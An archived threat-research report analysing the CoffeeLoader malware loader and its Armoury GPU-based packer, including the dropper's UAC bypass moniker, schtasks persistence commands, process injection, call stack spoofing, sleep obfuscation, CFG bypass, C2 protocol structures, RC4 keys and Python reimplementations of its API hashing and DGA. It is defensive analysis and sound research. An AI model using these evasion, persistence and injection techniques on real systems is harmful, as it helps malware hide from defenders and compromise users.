{
	"id": "22c19b16-77db-4040-93b8-b99ac2c73392",
	"created_at": "2026-04-06T00:19:44.766221Z",
	"updated_at": "2026-04-10T03:22:09.610023Z",
	"deleted_at": null,
	"sha1_hash": "a77f8793853dc0ccaed2274aeec11cb7fbeb6f14",
	"title": "CoffeeLoader: A Brew of Stealthy Techniques | ThreatLabz",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 511844,
	"plain_text": "CoffeeLoader: A Brew of Stealthy Techniques | ThreatLabz\r\nBy Brett Stone-Gross\r\nPublished: 2025-03-26 · Archived: 2026-04-05 23:13:18 UTC\r\nTechnical Analysis\r\nIn this section, we will analyze CoffeeLoader’s various components, anti-detection features, and network protocol.\r\nSimilar to most crimeware families, CoffeeLoader samples are packed. ThreatLabz typically omits details related to a\r\nmalware’s unpacking process because they are not relevant for analysis purposes. However, CoffeeLoader samples are\r\nprotected by a distinct malware packer that leverages a system’s GPU to execute code that may complicate analysis in\r\nvirtual environments. ThreatLabz has been tracking this packer as Armoury because it impersonates the legitimate Armoury\r\nCrate utility created by ASUS.\r\nArmoury malware packer \r\nMalware packed with Armoury typically has filenames such as  ArmouryAIOSDK.dll and  ArmouryA.dll . The packer\r\nhijacks some of the original Armoury Crate exports (such as  Post_EntrypointReturn and  freeBuffer ) and replaces their\r\ncontents with self-decrypting shellcode. The shellcode unpacks code that executes a decryption routine on a system’s GPU.\r\nThe code uses the OpenCL library so there are no external dependencies or specific GPU hardware requirements. The\r\nimplementation is likely based on an open source proof-of-concept.\r\nThe Armoury GPU kernel source function passed to OpenCL is the following: \r\n__kernel void f(__global char* a,__global char* b,__global char* c,int d){c[get_global_id(0)]=a[get_global_id(0)]^b[get_g\r\nArmoury performs an XOR operation with two 32-byte hardcoded strings, which are used to derive the XOR key that is then\r\npassed to the GPU kernel function. For example, if these embedded strings are .urAUf61P33NLgB4F3uDmBM60xYPAcNg and\r\nMfm7MVsB8wtM1DmXekyyjbtGSys974xk , the resulting XOR key would be\r\n63131f7618304573684447037d232f6c23580c3d0720397163012a697657360c (shown as a hex string for readability).\r\nThis GPU kernel function takes 4 arguments, which includes: \r\nThe XOR key\r\nAn encoded input buffer\r\nA decoded output buffer \r\nThe size of the XOR key\r\nAfter the GPU executes the function, the decoded output buffer contains self-modifying shellcode, which is then passed\r\nback to the CPU to decrypt and execute the underlying malware. ThreatLabz has observed this packer used to protect both\r\nSmokeLoader and CoffeeLoader payloads. The following malware analysis sections apply specifically to CoffeeLoader.\r\nCoffeeLoader dropper\r\nThe first component after CoffeeLoader is unpacked is a dropper that performs an installation routine. ThreatLabz has\r\nobserved multiple variants of the dropper that implement different functionality. In one version, the dropper first copies the\r\noriginal packed DLL to the user’s temporary directory with the filename  ArmouryAIOSDK.dll . If the dropper has elevated\r\nprivileges, the code executes the DLL via CreateProcess passing  %SystemRoot%\\system32\\rundll32.exe , the path to the\r\nDLL, and the export name ( Post_EntrypointReturn ) to invoke. However, if the dropper is not running with elevated\r\nprivileges, the code will attempt to bypass User Account Control (UAC) using the CMSTPLUA COM interface with the\r\nelevation moniker  Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} and the ShellExec function\r\n(with the same arguments passed to CreateProcess). Note that this version of the dropper does not establish persistence. This\r\nversion also imports several API function names by hash using a custom algorithm that is reproduced in Python below:\r\ndef uint32(val):\r\n return 0xffffffff \u0026 val\r\ndef hashval(val, initial_seed):\r\n seed = initial_seed;\r\n for j,i in enumerate(val.upper()):\r\n seed = uint32(i + uint32(33 * seed))\r\n return seed\r\nThe initial seed for the hash algorithm in one sample was the value 0x57 , but this value is likely to change between\r\nsamples (and differs between the seed value used in the stager component described in the following section).\r\nhttps://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques\r\nPage 1 of 7\n\nIn some versions, the dropper establishes persistence using the Windows task scheduler. In older versions, the dropper used\r\nthe command-line utility schtasks.exe , while more recent versions use the Windows ITaskScheduler COM interface.\r\nIn these versions that establish persistence, the dropper installation routine copies the packed CoffeeLoader DLL to one of\r\nthe following installation paths:\r\n%PROGRAMDATA%\\ArmouryAIOSDK.dll (if running with elevated privileges) \r\n%LOCALAPPDATA%\\ArmouryAIOSDK.dll (if running without elevated privileges)\r\nThe file attributes are then set to read-only, hidden, and system. The dropper then uses the SetEntriesInAclW API to deny the\r\ncurrent user access to perform the following operations on the packed CoffeeLoader DLL (located at the installation path):\r\nDELETE (0x10000)\r\nFILE_WRITE_DATA (0x2)\r\nFILE_APPEND_DATA (0x4)\r\nFILE_WRITE_EA (Extended Attributes) (0x10)\r\nFILE_WRITE_ATTRIBUTES (0x100)\r\nThe dropper establishes persistence via a scheduled task using a hardcoded name (e.g.,  AsusUpdateServiceUA ). \r\nFor older versions of CoffeeLoader, the dropper executes the native Windows\r\nutility  %SystemRoot%\\system32\\schtasks.exe via CreateProcess with one of the following parameters:\r\nschtasks /Create /SC ONLOGON /TN AsusUpdateServiceUA /RL HIGHEST /TR %SystemRoot%\\system32\\rundll32.exe\r\n%PROGRAMDATA%\\ArmouryAIOSDK.dll,[export_name] (if running with elevated privileges)\r\nschtasks /Create /SC MINUTE /MO 30 /TN AsusUpdateServiceUA /TR %SystemRoot%\\system32\\rundll32.exe\r\n%LOCALAPPDATA%\\ArmouryAIOSDK.dll,[export_name] (if running without elevated privileges)\r\nIf the dropper is running with elevated privileges, the scheduled task will be set to execute upon user logon with the highest\r\nrun level. \r\nOtherwise, the task will be scheduled to run every 30 minutes. In the latest dropper version, the scheduled task is created to\r\nrun every 10 minutes with the starting boundary value of  2005-01-01T12:05:00 .\r\nAfter the installation process is complete, the dropper executes the stager component of CoffeeLoader, and exits.\r\nCoffeeLoader stager\r\nThe CoffeeLoader stager creates a new  dllhost.exe process in a suspended state. This DLL is located in the\r\nWindows  %SystemRoot%\\system32 directory. The stager resolves API functions with a custom hash function, which is\r\nidentical to the algorithm described above in the dropper section, but with an initial seed value of  0xF1 .\r\nThe stager then uses the functions NtAllocateVirtualMemory, NtProtectVirtualMemory, and NtWriteVirtualMemory to inject\r\nthe main CoffeeLoader module into the suspended  dllhost.exe process. The thread context in the  dllhost.exe process\r\nis then modified to point to the entry point of the main CoffeeLoader module, the thread is resumed (to start the main\r\nmodule), and the stager terminates.\r\nCoffeeLoader main module\r\nThe main CoffeeLoader module also resolves API function addresses by hash, but uses the DJB2 algorithm. The main\r\nmodule implements numerous techniques to evade detection by antivirus (AV) and Endpoint Detection and Response\r\n(EDRs) including call stack spoofing, sleep obfuscation, and leveraging Windows fibers.\r\nCall stack spoofing\r\nCoffeeLoader implements call stack spoofing, which is a technique that forges a call stack to mask the origin of a function\r\ncall. This is designed to evade security software that analyzes call stack traces to identify suspicious behavior. The call stack\r\nspoofing implementation in CoffeeLoader is likely based on BokuLoader. The code sets up a synthetic stack frame by first\r\nsearching for the byte pattern 0x23, 0xFF, which is a gadget for  jmp rbx . This serves as a placeholder for the return\r\naddress. CoffeeLoader then creates two origin frames:  ntdll.RtlUserThreadStart+0x21\r\nand  kernel32.BaseThreadInitThunk+0x28 . Note that the offset value 0x28 from  BaseThreadInitThunk differs from many\r\nopen source proof-of-concept implementations.\r\nThe figure below shows an example of a call stack when the function RtlRandomEx is called from CoffeeLoader using call\r\nstack spoofing. Note that the CoffeeLoader module does not show up in the call stack. The frame\r\nlabeled  kernel32.SetDefaultCommConfigW+0xee5 is the address of the  jmp rbx gadget.\r\nhttps://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques\r\nPage 2 of 7\n\nFigure 1: Example CoffeeLoader spoofed call stack trace for RtlRandomEx.\r\nThe malware’s call stack spoofing function also attempts to avoid inline user-mode hooks by making indirect system calls.\r\nCoffeeLoader maps system calls to their corresponding system call numbers. In order to dynamically extract the system call\r\nnumbers, CoffeeLoader searches each targeted function for the byte pattern 0x4C, 0x8B, 0xD1, 0xB8, which corresponds to\r\nthe x64 assembly instructions:\r\nmov r10, rcx\r\nmov eax\r\nThe 4-byte value following the mov eax instruction is the system call number, which is stored in CoffeeLoader’s global\r\nconfiguration structure. The scan for these bytes continues until the byte 0xC3 (a return instruction) is reached. \r\nCoffeeLoader also searches for the byte pattern 0x0F, 0x05, which represents the  syscall instruction in x64 assembly.\r\nWhen a suitable candidate is discovered, CoffeeLoader stores the address of this gadget in the malware’s global\r\nconfiguration. This gadget is then used whenever a targeted system call is made.\r\nSleep obfuscation\r\nCoffeeLoader implements a technique known as sleep obfuscation that is designed to hide from security tools that scan\r\nmemory. Using this method, the malware’s code and data are encrypted while in a sleep state. Thus, the malware’s\r\n(unencrypted) artifacts are present in memory only when its code is being executed. There are numerous open source\r\nexamples that implement sleep obfuscation using Timer Queues, Waitable Timers, and Asynchronous Procedure Calls\r\n(APCs). CoffeeLoader supports different sleep obfuscation options based on an internal flag. Regardless of the execution\r\ntiming method chosen, the following steps are performed:\r\nGenerate a random 16-byte value used as a key for subsequent encryption operations.\r\nWalk and encrypt the malware’s heap memory with a native RC4 implementation (if a specific flag is enabled).\r\nSet the malware’s memory region to  PAGE_READWRITE .\r\nEncrypt the malware’s memory region using SystemFunction032 (RC4).\r\nWait a specific amount of time (passed as an argument; the default is 30 minutes).\r\nDecrypt the malware’s memory region using SystemFunction032 (RC4).\r\nRestore the malware’s memory region permissions to  PAGE_EXECUTE_READ or  PAGE_EXECUTE_READWRITE .\r\nhttps://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques\r\nPage 3 of 7\n\nDecrypt the malware’s heap memory using the same RC4 key (if previously encrypted).\r\nIn order for sleep obfuscation to function properly, the malware must account for a process (such as a legitimate process\r\nwith CoffeeLoader injected into it) that has Control Flow Guard (CFG) enabled. CFG is a security feature in Windows\r\ndesigned to mitigate memory corruption vulnerabilities by placing restrictions on where an application can execute code\r\nfrom. Some of CoffeeLoader’s evasion techniques perform actions that would ordinarily be blocked by CFG. Therefore,\r\nCoffeeLoader must take measures to bypass CFG. In order to accomplish this, CoffeeLoader first checks whether CFG is\r\nenabled in the malware’s process by calling NtQueryInformationProcess with the  ProcessControlFlowGuardPolicy\r\nparameter. If CFG is enabled, the malware adds exceptions to CFG for the following functions by\r\ncalling NtSetInformationVirtualMemory with the  VmCfgCallTargetInformation class:\r\nNtContinue\r\nNtSetContextThread\r\nNtGetContextThread\r\nSystemFunction032\r\nWaitForSingleObjectEx\r\nVirtualProtect\r\nNtSetEvent\r\nNtTestAlert\r\nNtWaitForSingleObject\r\nZwProtectVirtualMemory\r\nRtlExitUserThread\r\nWindows fibers\r\nWindows fibers are an obscure and lightweight mechanism for implementing user-mode multitasking. They allow a single\r\nthread to have multiple execution contexts, known as fibers, which can be manually switched between by the application\r\nrather than the Windows scheduler. CoffeeLoader has an option to use Windows fibers to implement sleep obfuscation as yet\r\nanother way to evade detection, since some EDRs may not directly monitor or track them. \r\nNetwork protocol\r\nCoffeeLoader uses the HTTPS protocol for command-and-control (C2) communications. Requests are sent using POST\r\nrequests with a hardcoded user-agent (which currently mimics an iPhone). An example request is shown below:\r\nPOST / HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_8; like Mac OS X) AppleWebKit/533.7 (KHTML, like Gecko) Chrome/47.0.1\r\nContent-Length: 158\r\nHost: freeimagecdn.com\r\nThe malware implements certificate pinning to prevent TLS man-in-the-middle attacks from deciphering the network\r\ncommunications with the C2 server. The code checks that the public key size is 65 bytes and the following value:\r\n04:25:CB:02:73:3B:EE:43:B5:EC:B6:5E:A0:5C:9C:97:00:05:F7:42:4D:97:2A:52:1F:1B:EC:0C:01:6F:17:0F:A3:4E:0E:2E:5E:31:64:67:25:09:5D:BB:AB:6\r\nThe HTTP POST body contains an encrypted binary protocol. Each packet is encrypted with a 16-byte RC4\r\nkey:  2a3a78dc3228d572661fd8dcc9f79cf1 and the response is decrypted using a different 16-byte RC4\r\nkey:  bafc473b8b118b7c47e25fa1ade49ae7 .\r\nCoffeeLoader currently supports two request message types:\r\nMessage Type Description\r\n0x69 Registration\r\n0x42 Get task / report task status\r\nTable 1: The request message types supported by CoffeeLoader.\r\nBoth request message types start with the following header and all integer values are stored in big-endian byte order:\r\nhttps://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques\r\nPage 4 of 7\n\ntypedef struct coffee_header {\r\n DWORD msg_size;\r\n DWORD magic_bytes; // 0xc0ffee42\r\n DWORD bot_id;\r\n DWORD msg_type; // 0x69 or 0x42\r\n} coffee_header;\r\nNote that the magic bytes for this custom binary protocol are c0ffee42 .\r\nstruct coffee_registration_packet {\r\n coffee_header hdr;\r\n DWORD flag;\r\n DWORD bot_id;\r\n DWORD username_len;\r\n LPSTR username;\r\n DWORD computername_len;\r\n LPSTR computername;\r\n DWORD windows_domain_len;\r\n LPSTR windows_domain;\r\n DWORD image_path_name_len;\r\n LPWSTR image_path_name;\r\n DWORD process_id;\r\n DWORD thread_id;\r\n DWORD os_major_version;\r\n DWORD os_minor_version;\r\n DWORD os_product_type;\r\n DWORD os_service_pack_major;\r\n DWORD os_build_number;\r\n DWORD os_major_or_minor_version_field;\r\n DWORD integrity_level;\r\n DWORD unknown; // hardcoded to 2\r\n DWORD rand;\r\n}\r\nInterestingly, all responses received from the C2 server are in little-endian byte order (in contrast to the big-endian byte\r\norder for requests). The response from the initial registration packet is the bot ID.\r\nCoffeeLoader then requests a task from the CoffeeLoader C2 by sending a request packet defined below:\r\nstruct coffee_task_packet {\r\n coffee_header hdr;\r\n DWORD task_id;\r\n DWORD bot_id;\r\n}\r\nThe task response message from the C2 server starts with the following header:\r\ntypedef struct _coffee_response_header {\r\n DWORD cmd_id;\r\n DWORD task_id;\r\n DWORD unused; // Possibly a checksum value of the payload\r\n packet_blob payload;\r\n} coffee_response_header;\r\nThe packet blob structure contains an integer representing the size of the data, followed by the data as shown below:\r\ntypedef struct _packet_blob {\r\n DWORD size;\r\n BYTE data[size];\r\n} packet_blob;\r\nThe task response message is more complex. The following table shows the commands implemented by CoffeeLoader,\r\nwhich provide features to inject and run raw shellcode, executables, and DLLs.\r\nhttps://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques\r\nPage 5 of 7\n\nCommand\r\nID\r\nDescription\r\n0x58 Sleep.\r\n0x87 Inject / run shellcode in a specified process.\r\n0x89 Update sleep obfuscation method and timeout.\r\n0x91 Write the payload executable to the user’s temporary directory and run.\r\n0x93\r\nWrite the payload DLL to the user’s temporary directory and execute using  rundll32.exe (supports\r\ncalling exports).\r\nTable 2: Commands currently supported by CoffeeLoader.\r\nThe payload in the CoffeeLoader response consists of one of the following command structures.\r\nstruct cmd87 {\r\n DWORD param1;\r\n DWORD param2;\r\n DWORD param3;\r\n DWORD param4;\r\n DWORD param5;\r\n DWORD param6;\r\n packet_blob payload_shellcode;\r\n packet_blob filename_for_injection;\r\n};\r\nstruct cmd89 {\r\n DWORD param1;\r\n};\r\nstruct cmd91 {\r\n packet_blob filename;\r\n packet_blob args;\r\n DWORD param1;\r\n DWORD param2;\r\n packet_blob payload_exe;\r\n};\r\nstruct cmd93 {\r\n packet_blob filename;\r\n packet_blob args;\r\n DWORD param1;\r\n DWORD param2;\r\n DWORD param3;\r\n packet_blob payload_dll;\r\n};\r\nThreatLabz has observed the CoffeeLoader C2 server providing multiple commands to inject and execute Rhadamanthys\r\nshellcode.\r\nDomain generation algorithm (DGA)\r\nCoffeeLoader samples contain a list of hardcoded C2 servers. If these servers are unreachable, the malware will revert to a\r\ndomain generation algorithm (DGA). The DGA is seeded by the current date that is passed to a pseudorandom function. The\r\nresult is then multiplied with the constant 33 twice and converted to a string. Finally, the  .com TLD is appended to form\r\nthe CoffeeLoader C2 domain. Thus, the CoffeeLoader DGA produces a single domain per day that can be used as a backup\r\ncommunication channel if the primary hardcoded C2s are unavailable. The following Python code replicates CoffeeLoader’s\r\nDGA code:\r\ndef rand(seed):\r\n return (0x41C64E6D * seed + 0x3039) \u0026 0x7FFFFFFF\r\nhttps://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques\r\nPage 6 of 7\n\ndef generate(year, month, day):\r\n return str(rand(33 * (33 * year + month) + day)) + “.com”\r\nSource: https://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques\r\nhttps://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques\r\nPage 7 of 7\n\nDGA code: def rand(seed):   \nreturn (0x41C64E6D * seed + 0x3039) \u0026 0x7FFFFFFF \n  Page 6 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques"
	],
	"report_names": [
		"coffeeloader-brew-stealthy-techniques"
	],
	"threat_actors": [],
	"ts_created_at": 1775434784,
	"ts_updated_at": 1775791329,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a77f8793853dc0ccaed2274aeec11cb7fbeb6f14.pdf",
		"text": "https://archive.orkl.eu/a77f8793853dc0ccaed2274aeec11cb7fbeb6f14.txt",
		"img": "https://archive.orkl.eu/a77f8793853dc0ccaed2274aeec11cb7fbeb6f14.jpg"
	}
}